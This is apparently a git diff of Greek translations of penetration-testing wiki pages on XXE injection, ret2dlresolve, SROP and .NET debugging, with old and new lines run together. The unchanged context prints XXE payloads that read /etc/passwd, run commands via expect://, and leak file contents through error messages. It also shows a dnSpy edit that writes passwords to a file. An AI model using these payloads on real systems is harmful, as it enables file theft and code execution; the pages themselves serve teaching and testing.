**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν μια DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα με όνομα `ISOamso`. **Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν μια DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα με όνομα `ISOamso`.
```xml ```xml
@ -201,9 +201,11 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
Στο παρακάτω καταπληκτικό github repo μπορείτε να βρείτε **διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα**: Στο παρακάτω καταπληκτικό github repo μπορείτε να βρείτε **διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} {{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος-θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς. Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος του θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
```bash ```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -225,7 +227,7 @@ Testing 0 entities : []
Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα. Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα.
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα. Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για αιτήματα.
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή: Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή:
@ -239,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
> [!CAUTION] > [!CAUTION]
> Για να μπορέσετε να αποκτήσετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχραστείτε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd). > Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχραστείτε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα: Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα:
@ -255,7 +257,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
<foo>&xxe;</foo> <foo>&xxe;</foo>
``` ```
> [!CAUTION] > [!CAUTION]
> Η εγγραφή αρχείων σε έναν προσωρινό φάκελο μπορεί να βοηθήσει στην **κλιμάκωση μιας άλλης ευπάθειας που περιλαμβάνει διαδρομή διαδρομής** (όπως το local file include, template injection, XSLT RCE, deserialization, κ.λπ.). > Η εγγραφή αρχείων σε έναν προσωρινό φάκελο μπορεί να βοηθήσει στην **κλιμάκωση μιας άλλης ευπάθειας που περιλαμβάνει διαδρομή διασύνδεσης** (όπως το local file include, template injection, XSLT RCE, deserialization, κ.λπ.).
### XSS ### XSS
```xml ```xml
@ -308,17 +310,17 @@ Responder.py -I eth0 -v
### XInclude ### XInclude
Όταν ενσωματώνετε δεδομένα πελάτη σε έγγραφα XML πλευράς διακομιστή, όπως αυτά σε αιτήματα SOAP backend, ο άμεσος έλεγχος της δομής XML είναι συχνά περιορισμένος, εμποδίζοντας τις παραδοσιακές επιθέσεις XXE λόγω περιορισμών στην τροποποίηση του στοιχείου `DOCTYPE`. Ωστόσο, μια επίθεση `XInclude` παρέχει μια λύση επιτρέποντας την εισαγωγή εξωτερικών οντοτήτων μέσα σε οποιοδήποτε στοιχείο δεδομένων του εγγράφου XML. Αυτή η μέθοδος είναι αποτελεσματική ακόμη και όταν μόνο ένα μέρος των δεδομένων μέσα σε ένα έγγραφο XML που έχει παραχθεί από διακομιστή μπορεί να ελεγχθεί. Όταν ενσωματώνετε δεδομένα πελάτη σε έγγραφα XML πλευράς διακομιστή, όπως αυτά σε αιτήματα SOAP backend, ο άμεσος έλεγχος της δομής XML είναι συχνά περιορισμένος, εμποδίζοντας τις παραδοσιακές επιθέσεις XXE λόγω περιορισμών στην τροποποίηση του στοιχείου `DOCTYPE`. Ωστόσο, μια επίθεση `XInclude` παρέχει μια λύση επιτρέποντας την εισαγωγή εξωτερικών οντοτήτων μέσα σε οποιοδήποτε στοιχείο δεδομένων του εγγράφου XML. Αυτή η μέθοδος είναι αποτελεσματική ακόμη και όταν μόνο ένα μέρος των δεδομένων μέσα σε ένα έγγραφο XML που παράγεται από διακομιστή μπορεί να ελεγχθεί.
Για να εκτελέσετε μια επίθεση `XInclude`, πρέπει να δηλωθεί ο χώρος ονομάτων `XInclude`, και η διαδρομή αρχείου για την προοριζόμενη εξωτερική οντότητα πρέπει να καθοριστεί. Παρακάτω είναι ένα συνοπτικό παράδειγμα του πώς μπορεί να διαμορφωθεί μια τέτοια επίθεση: Για να εκτελέσετε μια επίθεση `XInclude`, πρέπει να δηλωθεί ο χώρος ονομάτων `XInclude`, και η διαδρομή αρχείου για την προοριζόμενη εξωτερική οντότητα πρέπει να καθοριστεί. Παρακάτω είναι ένα συνοπτικό παράδειγμα του πώς μπορεί να διαμορφωθεί μια τέτοια επίθεση:
```xml ```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
``` ```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
### SVG - Αποστολή Αρχείων ### SVG - Αποστολή Αρχείων
Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως τα έγγραφα γραφείου (DOCX) και οι εικόνες (SVG) βασίζονται σε XML. Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως έγγραφα γραφείου (DOCX) και εικόνες (SVG) βασίζονται σε XML.
Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμη και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity). Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμη και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
@ -332,7 +334,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
<image xlink:href="expect://ls"></image> <image xlink:href="expect://ls"></image>
</svg> </svg>
``` ```
Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκκινήσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκτοξεύσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
@ -402,7 +404,7 @@ Content-Type: application/xml;charset=UTF-8
```xml ```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
``` ```
Αυτό λειτουργεί μόνο αν ο διακομιστής XML αποδέχεται το `data://` πρωτόκολλο. Αυτό λειτουργεί μόνο αν ο XML server αποδέχεται το `data://` πρωτόκολλο.
### UTF-7 ### UTF-7
@ -454,9 +456,9 @@ DTD παράδειγμα:
```xml ```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]> <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
``` ```
### Εκτέλεση απομακρυσμένου κώδικα ### Remote code execution
**Εάν είναι φορτωμένο το module "expect" της PHP** **Αν το module "expect" του PHP είναι φορτωμένο**
```xml ```xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!DOCTYPE foo [ <!ELEMENT foo ANY >
@ -512,9 +514,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας παρατηρούμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας αναφερόμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο: Data Exfiltration Βασισμένη σε Σφάλματα Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Βασισμένη σε Σφάλματα. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο:
```xml ```xml
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>"> <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -532,7 +534,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π
%foo; %foo;
%xxe; %xxe;
``` ```
Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδεικνύει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδεικνύει μια επιτυχή επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών.
## RSS - XEE ## RSS - XEE
@ -607,7 +609,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π
``` ```
## Java XMLDecoder XEE to RCE ## Java XMLDecoder XEE to RCE
Το XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Εάν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή. Ο XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Εάν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή.
### Using Runtime().exec() ### Using Runtime().exec()
```xml ```xml
@ -671,7 +673,9 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π
``` ```
## Εργαλεία ## Εργαλεία
{% embed url="https://github.com/luisfontes19/xxexploiter" %} {{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## Αναφορές ## Αναφορές
@ -684,5 +688,4 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@
Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να επιλύσει το καθορισμένο σύμβολο. Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να επιλύσει το καθορισμένο σύμβολο.
Επομένως, είναι δυνατό να **ψεύσουμε όλες αυτές τις δομές** για να κάνουμε τη δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσουμε με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**). Επομένως, είναι δυνατόν να **ψεύσουμε όλες αυτές τις δομές** για να κάνουμε τη δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσουμε με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
Συνήθως, όλες αυτές οι δομές ψεύδονται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`** με τη διεύθυνση του `$'/bin/sh'`. Συνήθως, όλες αυτές οι δομές ψεύδονται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`** με τη διεύθυνση του `$'/bin/sh'`.
@ -17,7 +17,9 @@
Μπορείτε να βρείτε μια καλύτερη εξήγηση για αυτή την τεχνική στο δεύτερο μισό του βίντεο: Μπορείτε να βρείτε μια καλύτερη εξήγηση για αυτή την τεχνική στο δεύτερο μισό του βίντεο:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Structures ## Structures
@ -26,7 +28,7 @@
## Attack Summary ## Attack Summary
1. Γράψτε ψεύτικες δομές σε κάποια τοποθεσία 1. Γράψτε ψεύτικες δομές σε κάποια τοποθεσία
2. Ρυθμίστε το πρώτο επιχείρημα της system (`$rdi = &'/bin/sh'`) 2. Ρυθμίστε το πρώτο επιχείρημα της `system` (`$rdi = &'/bin/sh'`)
3. Ρυθμίστε στη στοίβα τις διευθύνσεις των δομών για να καλέσετε **`_dl_runtime_resolve`** 3. Ρυθμίστε στη στοίβα τις διευθύνσεις των δομών για να καλέσετε **`_dl_runtime_resolve`**
4. **Καλέστε** `_dl_runtime_resolve` 4. **Καλέστε** `_dl_runtime_resolve`
5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα 5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα

View File

@ -6,9 +6,9 @@
**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα. **`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος. Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
Το ενδιαφέρον είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` απομακρύνει αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack. Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` απομακρύνει αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.
> [!CAUTION] > [!CAUTION]
> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`. > Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
@ -21,7 +21,9 @@ rop-syscall-execv.md
Για μια καλύτερη εξήγηση ελέγξτε επίσης: Για μια καλύτερη εξήγηση ελέγξτε επίσης:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Example ## Example

View File

@ -25,9 +25,9 @@
### [dotPeek](https://www.jetbrains.com/decompiler/) ### [dotPeek](https://www.jetbrains.com/decompiler/)
Το dotPeek είναι ένας αποσυμπιεστής που **αποσυμπιέζει και εξετάζει πολλαπλές μορφές**, συμπεριλαμβανομένων των **βιβλιοθηκών** (.dll), **αρχείων μεταδεδομένων Windows** (.winmd) και **εκτελέσιμων** (.exe). Αφού αποσυμπιεστεί, μια συλλογή μπορεί να αποθηκευτεί ως έργο Visual Studio (.csproj). Το dotPeek είναι ένας αποσυμπιεστής που **αποσυμπιέζει και εξετάζει πολλαπλές μορφές**, συμπεριλαμβανομένων των **βιβλιοθηκών** (.dll), **αρχείων μεταδεδομένων Windows** (.winmd) και **εκτελέσιμων** (.exe). Αφού αποσυμπιεστεί, μια assembly μπορεί να αποθηκευτεί ως έργο Visual Studio (.csproj).
Το πλεονέκτημα εδώ είναι ότι αν ένας χαμένος κωδικός πηγής απαιτεί αποκατάσταση από μια κληρονομική συλλογή, αυτή η ενέργεια μπορεί να εξοικονομήσει χρόνο. Επιπλέον, το dotPeek παρέχει βολική πλοήγηση σε όλο τον αποσυμπιεσμένο κώδικα, καθιστώντας το ένα από τα τέλεια εργαλεία για **ανάλυση αλγορίθμων Xamarin.** Το πλεονέκτημα εδώ είναι ότι αν ένας χαμένος κωδικός πηγής απαιτεί αποκατάσταση από μια κληρονομημένη assembly, αυτή η ενέργεια μπορεί να εξοικονομήσει χρόνο. Επιπλέον, το dotPeek παρέχει βολική πλοήγηση σε όλο τον αποσυμπιεσμένο κώδικα, καθιστώντας το ένα από τα τέλεια εργαλεία για **ανάλυση αλγορίθμων Xamarin.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/) ### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -36,8 +36,8 @@
- Παρέχει μια εικόνα για το πώς ρέει τα δεδομένα μέσω μιας βιβλιοθήκης ή συστατικού - Παρέχει μια εικόνα για το πώς ρέει τα δεδομένα μέσω μιας βιβλιοθήκης ή συστατικού
- Παρέχει πληροφορίες για την υλοποίηση και τη χρήση γλωσσών και πλαισίων .NET - Παρέχει πληροφορίες για την υλοποίηση και τη χρήση γλωσσών και πλαισίων .NET
- Βρίσκει μη τεκμηριωμένη και μη εκτεθειμένη λειτουργικότητα για να αξιοποιήσει περισσότερο τις APIs και τις τεχνολογίες που χρησιμοποιούνται. - Βρίσκει μη τεκμηριωμένη και μη εκτεθειμένη λειτουργικότητα για να αξιοποιήσει περισσότερο τις APIs και τις τεχνολογίες που χρησιμοποιούνται.
- Βρίσκει εξαρτήσεις και διαφορετικές συλλογές - Βρίσκει εξαρτήσεις και διαφορετικές assemblies
- Εντοπίζει την ακριβή τοποθεσία σφαλμάτων στον κώδικά σας, σε τρίτα μέρη και σε βιβλιοθήκες. - Εντοπίζει την ακριβή τοποθεσία σφαλμάτων στον κώδικά σας, σε τρίτα μέρη και βιβλιοθήκες.
- Αποσφαλματώνει την πηγή όλου του κώδικα .NET με τον οποίο εργάζεστε. - Αποσφαλματώνει την πηγή όλου του κώδικα .NET με τον οποίο εργάζεστε.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
@ -57,7 +57,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
Για να κάνετε αποσφαλμάτωση κώδικα χρησιμοποιώντας το DNSpy, πρέπει να: Για να κάνετε αποσφαλμάτωση κώδικα χρησιμοποιώντας το DNSpy, πρέπει να:
Πρώτα, αλλάξτε τα **Attributes Assembly** που σχετίζονται με την **αποσφαλμάτωση**: Αρχικά, αλλάξτε τα **Assembly attributes** που σχετίζονται με την **αποσφαλμάτωση**:
![](<../../images/image (973).png>) ![](<../../images/image (973).png>)
```aspnet ```aspnet
@ -78,17 +78,17 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
![](<../../images/image (602).png>) ![](<../../images/image (602).png>)
Αυτό είναι απαραίτητο γιατί αν δεν το κάνετε αυτό, κατά τη διάρκεια του **runtime** θα εφαρμοστούν πολλές **optimisations** στον κώδικα και είναι πιθανό ότι κατά την αποσφαλμάτωση ένα **break-point δεν θα χτυπηθεί** ή κάποιες **μεταβλητές δεν θα υπάρχουν**. Αυτό είναι απαραίτητο γιατί αν δεν το κάνετε αυτό, κατά τη διάρκεια της **runtime** θα εφαρμοστούν πολλές **βελτιστοποιήσεις** στον κώδικα και είναι πιθανό ότι κατά την αποσφαλμάτωση μια **break-point δεν θα χτυπηθεί** ή κάποιες **μεταβλητές δεν θα υπάρχουν**.
Στη συνέχεια, αν η εφαρμογή .NET σας εκτελείται από το **IIS** μπορείτε να την **επανεκκινήσετε** με: Στη συνέχεια, αν η εφαρμογή .NET σας εκτελείται από το **IIS** μπορείτε να την **επανεκκινήσετε** με:
``` ```
iisreset /noforce iisreset /noforce
``` ```
